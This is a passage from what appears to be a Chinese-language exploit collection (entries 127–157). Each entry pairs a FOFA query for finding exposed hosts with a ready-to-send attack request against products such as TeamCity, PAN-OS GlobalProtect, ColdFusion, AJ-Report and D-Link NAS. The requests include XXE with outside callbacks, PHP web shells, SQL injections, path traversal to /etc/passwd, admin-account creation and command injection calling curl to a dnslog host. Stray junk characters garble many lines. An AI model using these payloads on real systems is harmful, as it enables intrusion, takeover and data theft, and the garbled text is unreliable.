) w* {: F+ ~- T1 Q0 P# H' DAccept-Encoding: gzip
( v+ E6 j6 K- W" h  W6 u  C3 w

  L0 Q* N5 o, A3 h. B* D5 v# k127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
/ F( N4 i; `3 p7 BPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
7 ~% K* g4 D4 Q; pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
" Z9 e% o% |. g) w9 _3 b  PContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- J! L; I% b; h7 M, CConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
9 w9 e3 }# ^. p+ w# X2 n0 Z2 g6 ~Sec-Purpose: prefetch;prerender

% o3 E5 ^( s( O" T# O5 q' x------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
" n% S6 w( S3 S+ `# |) p
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
( x. Y' A* l1 c2 L; d6 c5 B& LContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
$ B1 m" F: M+ R( Q1 I4 r1 H8 C, i<!DOCTYPE test [
: _4 @5 I3 m( k( u1 F& |' X<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
8 X. j2 Q+ }0 I* Z$ `]
. |, e  l* }2 L, A9 T7 e' f' k; s8 ]>
<test>&t;</test>
* l6 \  n: v' D$ k* E------WebKitFormBoundaryJGgV5l5ta05yAIe0--
- p/ Z6 o8 x# @6 ]3 g0 K0 t9 u5 n


128. Adobe ColdFusion 反序列化
CVE-2023-38203
# `8 o& }; j, ~# H  {$ V- JAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
$ l/ W9 G6 {' W+ i* i7 MFOFA：app="Adobe-ColdFusion"
7 l; h; x8 _* s* C( ]+ [, [- Q; rPAYLOAD

6 o* G  o9 z4 k& R. x+ k8 G/ }129. Adobe ColdFusion 任意文件读取
4 e6 ]: Q5 `5 @9 bCVE-2024-20767
$ b, N3 a6 g2 I- u. T, A) l: W4 zFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
4 ?; s& X0 ]* t, ]# ^9 f( }GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
" n6 ]* J* k9 }) t& rAccept: */*
Accept-Encoding: gzip, deflate
: R! K# a" }1 h0 i0 Q. G0 N3 xConnection: close


第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
' K- n1 t# J3 p# e* S! OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
; D5 H1 `" t7 y& Y" v4 x- BConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


5 C- M+ g) \! U5 C2 @3 f130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
- \, ?# L3 F. G3 pUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
2 r0 @$ j: d' U) G. W/ BAccept-Encoding: gzip, deflate
8 _. w+ Z! P: iAccept-Language: zh-CN,zh;q=0.9
- s/ v/ ^6 \7 g# ]( q8 JCookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
" _. U3 i3 h5 I; ]Content-Disposition: form-data; name="file"; filename="1.php"
) v/ T% {: V# u& |Content-Type: image/png
# H) F$ p; [/ J4 D1 A
<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


# z2 P1 ]- j+ L: n8 @: e131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
$ I( W8 E# k' R0 v& c% N+ Chttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
2 k/ B. J# P& p& x; D0 b! ^3 W
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
- Q7 Q& W8 m/ |7 \8 iCVE-2024-27198
3 X# m! x, {# ?7 t5 ?. E  o) }FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
4 u& @( H% J; ?; }! ?. eHost: 192.168.40.130:8111
: @- T+ f/ Q7 @% i9 L" }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
4 o& Y3 z, Z- X- U: F9 oAccept-Encoding: gzip, deflate
4 }! _  w' F- m! A8 v  o5 |& h& D
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
' E" W( L2 k7 u) W/update/../admin/diagnostic.jsp
( Y4 g# n9 t) u; }1 Y( O- F

5 O, w9 W- u+ _CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
: f8 O  s# i( N$ @1 m, }9 d; m' tFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
0 C! B, ~6 g- x0 x4 o$ nHost: your-ip
* v8 m7 D7 r  |& bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
0 w% j# l+ ]* e! F$ P9 OContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
: V/ a+ ]" _) @7 n. P7 l% zContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
" m& l+ V. r# z- j( Z$ U

+ b/ J# O: [; i. N
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
# Q/ g3 O# d1 S8 i' W$ W, MNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
5 ~: Y1 ~& i- N1 I5 tPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
0 {. E4 I( U5 MCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
& N1 v6 |  L: O  k& J# I: }+ MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
& u/ A0 }) }3 Y5 M3 {% PAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
- ~& Q. e8 N  JSec-Fetch-Site: same-origin
Te: trailers
% Z, y2 a4 {; ]& KConnection: close
1 [& P6 n4 u) F. AContent-Type: application/x-www-form-urlencoded
Content-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
0 |3 R/ [4 Y! i5 C& O- E

135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
& E( b( P4 N! h; I4 [$ X8 v0 f! W- ?3 WCVE-2024-2022
' v/ \3 z* D. M& d. cNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
1 _. q0 Y$ X( S3 c+ n# mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# f+ C2 _* z9 [Accept-Language: zh-CN,zh;q=0.9
Connection: close
; t8 m4 O* u8 _
9 K: _7 b5 v0 U9 a- e) _
3 c/ C! X( ?9 T( y" K) `1 v136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
" {6 @3 u& }  FGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
/ c. q- C3 O3 G% dUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 `  v. B" M. e, LConnection: close
Accept: */*
4 a( B# m, R+ f6 h" KAccept-Language: en
Accept-Encoding: gzip
" t& I. x: n* e5 q$ ~( {  b* o

137. 福建科立迅通信指挥调度平台down_file.php sql注入
" H$ w7 O. ^& }$ a3 }( N# D. h4 oCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
& ?( Y' ^% g3 [8 r- cHost: x.x.x.x
8 u0 r8 q& A, W0 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: K9 e" U- T* A  f4 NAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
' a4 s1 V. N; B( v2 \* L/ l. E- \CVE-2024-2621
% l) {* c* M$ @6 m% Q4 Z- ?: B. u+ eFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
: |8 e8 z. P+ `  f. Q$ \9 e# HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! N0 m7 D. q$ k" x# z+ }Accept-Encoding: gzip, deflate, br
( u1 ]2 w* t5 C4 d$ nConnection: close
Upgrade-Insecure-Requests: 1

4 a) j! y# U; s# w. [' E! l8 i' |
6 n9 q2 O1 C3 ~2 ?5 Y, q139. 福建科立讯通信指挥调度平台editemedia.php sql注入
$ a$ c: c5 R) n; n% x+ a& N! HCVE-2024-2622
$ T8 n, K+ o+ yFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
# P2 r6 d# B( ^- M9 v5 P7 C' D9 fGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
1 S' U4 q8 v3 ]; R+ \9 _! hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
3 p) g2 g# d# E/ ~& M* m% WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( O3 Z; M1 D; y4 r. ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" z' s$ s/ Y4 p, V( R2 [Connection: close
/ N6 d5 p/ b8 ?; w1 X7 dCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
. H# B% u- A( m  |% n! q* l3 @Upgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
; t7 d" o% B/ A$ C: U$ _1 t4 q5 k9 @CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
$ ~1 u" {  n: u% mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
$ V, g9 a9 m9 ?: A; X7 U' yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 u% u" _4 U  s; g9 \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
6 b# g+ b6 S/ F. U. _' @7 j6 G& }& G9 ZCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
  z+ s1 A- ^* W% O2 F: p" Y

7 H0 X" ^% H0 `* {# P- {141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
1 A  p# f0 I; k9 ^1 bFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
% _* L; D/ R* I: v7 n% f/ ~User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
$ W2 x9 e$ G4 m+ e; L5 d4 q7 \
' T7 Y' j* Q/ F3 u: M
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
% Z- B9 _# r* K0 cFOFA：body="/808gps/"
admin/admin
" @8 ~3 w- R' }4 A, `' f  u5 ~" H143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
8 l2 g5 o- \# g1 R6 o# R) ?5 b: YFOFA：title='AP setup' && header='netis'
PAYLOAD
8 M4 ?" Q- b" d
4 Z- O# E! x* ]5 E( p4 G144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
! `6 k# ?( P( J* Lsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
. _; N- o% Z- ^- @% s: ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
* `. _7 c: ~( ]/ Q( n# ]Accept-Language: en
Accept-Encoding: gzip
% o# g- |: x, s5 V% e6 ?0 d6 ]7 ^

0 p/ w) F0 n# d# s145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
4 i! M& m! W7 ~0 ?CVE-2024-3400
9 {+ B6 Z1 k' Q) XFOFA：icon_hash="-631559155"
0 w2 u/ y# F+ G, K- @4 w5 m3 \GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
3 D; @( m2 j, X( m; C& `# y4 `; ~Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
# A; R2 j% N: F; _8 \( I' G5 `

146. MajorDoMo thumb.php 未授权远程代码执行
6 e+ Y4 B6 C; o- Z1 g3 f' TCNVD-2024-02175
FOFA：app="MajordomoSL"
( D5 R, \. G. M9 w% ?: c- eGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
* d' i: V9 z3 W# b5 m7 c5 M, o. HConnection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
, k. a/ L8 f2 V8 r4 VCVE-2024-32399
- ^. T4 [. D, \# ?) c/ fFOFA：body="RaidenMAILD"
8 @+ C9 x4 C0 i! ~$ TGET /webeditor/../../../windows/win.ini HTTP/1.1
% _- |# u+ H! QHost: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close


& C4 X! j. Q# i148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

- g1 R% @" x- U( g  C; K149. AJ-Report开源数据大屏存在远程命令执行
% {, [( c- h, \& w% b, bFOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
  t7 |+ \' a/ d8 E- {0 K6 o$ mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! o, p# l" X. P% y* [6 hAccept-Encoding: gzip, deflate, br
% R- T1 t3 ^* q" pAccept-Language: zh-CN,zh;q=0.9
5 i/ ^/ u& j6 j* zContent-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
. C$ N! N& K5 z6 A9 |& j5 z
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
# p4 w$ n& w3 g% C) C4 lPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
3 A& H+ ^4 C* D. eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 u5 D% J! b2 L$ ^" q0 @9 A/ {7 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
$ Q3 @0 ?3 T! PContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

( M8 o* U  B$ ^. T) r{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
: k; }0 ^& g3 A. i, }4 r. iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' O# [5 l6 u  F3 F8 y) Z7 R) XConnection: close
Accept-Encoding: gzip
7 G. C* F% C: r# Q

152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
7 a( q9 k+ S+ ]5 E& V3 L: E- l, U0 rLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
4 ]8 |: w+ ]  j4 R6 e0 |FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
% X) H+ M( i8 ~GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
) h9 W/ E- b$ bConnection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
1 w+ s) }- T- f( _: P( DAccept-Encoding: gzip

- Z- v- U& L; R( O( X/ M
3 _2 F; n+ Z6 y* r( R  V153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
) E$ W% R+ S4 a7 V

+ m6 O. I" U: v第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
% L$ B8 A1 U; G1 lHost: x.x.x.x
% a; k# |( a4 ]) ?- H9 d) WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
: c% q9 f) p9 ^. S# B1 RContent-Length: 115
( V7 z  O9 a3 ]4 EContent-Type: application/json
Accept-Encoding: gzip
4 y$ W4 ~( w# l- ~3 z/ I$ o
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
( Q! |! }7 p! L1 z. O8 L
+ z3 Z, e/ _; ^
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


. D' T4 E1 N% V5 q" l154. 天维尔消防救援作战调度平台 SQL注入
+ Q$ F2 T+ {$ A$ }( @% [CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
* o9 g8 u- H3 T+ [+ w, X1 Y$ uPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
  w3 M8 t! \1 H+ W9 BHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
, t1 c# _# s# {( G# P, TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
6 r: I3 b) p9 d9 RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
7 z0 A5 `7 R" p% C' K. dConnection: close
8 ^3 f. L% P* e3 E$ _% h. f
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
' Q6 `# O+ B" H/ H" |FOFA：title=="上网导航 - LyLme Spage"
7 l' t* O( v: z# x! x. y8 G  ]+ JPOST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
2 ~: u3 }% Z, J2 ?' H1 v9 C2 BAccept: application/json, text/javascript, */*; q=0.01
; j2 |; k4 y1 t( j" V9 AAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
" h! ~' m0 N- F* E( vX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
5 W' T' C& F+ b  _; E; h; t- m1 m6 @Content-Type: image/png

+ ]% t3 Y/ E; A1 c9 R<?php phpinfo();unlink(__FILE__);?>
* `$ k1 i; f: M0 J3 G, p/ n-----------------------------qttl7vemrsold314zg0f--


3 D0 E  r# G5 U8 d- j: z5 ^+ _$ [访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

4 i0 S0 F( x$ p4 }: ?156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
3 Z1 f/ k% b) a6 Ccurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
1 q+ o4 P! ~# _3 tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 |9 e" l8 x. d/ qConnection: close
Content-Length: 0
Cookie: uid=1
6 n8 h, Z: J6 rAccept-Encoding: gzip
) Q3 W. E& Q" u- E' l8 Y7 N
) P2 _9 @+ A+ R
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
6 g7 l( F/ R0 w8 O& V' N& j6 WPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
/ j; I4 n% N" _/ C, \* JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
' m2 F% |% h" AContent-Length: 709
1 r  u0 U& j) eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 X. F8 [, O3 l+ H+ o) RAccept-Encoding: gzip, deflate
& {: i8 |; w1 A, ]* X6 G9 bAccept-Language: zh-CN,zh;q=0.9
1 D% E6 l8 Z: L- o$ uCache-Control: max-age=0
/ j' l) p6 `( p/ G2 gConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
' G3 |0 N; S2 Y
" V4 N! ^$ q/ R9 _2 V! w# B% |------WebKitFormBoundary1imovELzPsfzp5dN
6 e8 b& S9 m1 M6 l( M0 `* C( q9 @) I% RContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
0 @6 Z+ C6 x* @7 F" q( n5 o" E9 E# wContent-Type: application/octet-stream

8 b% Q8 }" a3 w2 p7 n# dnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
2 S- N: Q; C" G- Q  W; p5 e
2 I4 Q  ]& ^$ l4 qnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
& @0 v3 p5 v# j3 C- F: B------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

null
/ @: o/ g$ e3 {- _  ~3 y( M! }' a------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
) k, P: C- R2 a2 |4 I/ t
- d- W: M3 m% t0 knull
, d/ w5 z; {# K& ^5 T( C, g------WebKitFormBoundary1imovELzPsfzp5dN--
) b6 O/ N, `4 q" W
# Y, ?, }8 @0 F) y( r& L
# |# u) {* W( y( P( ohttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

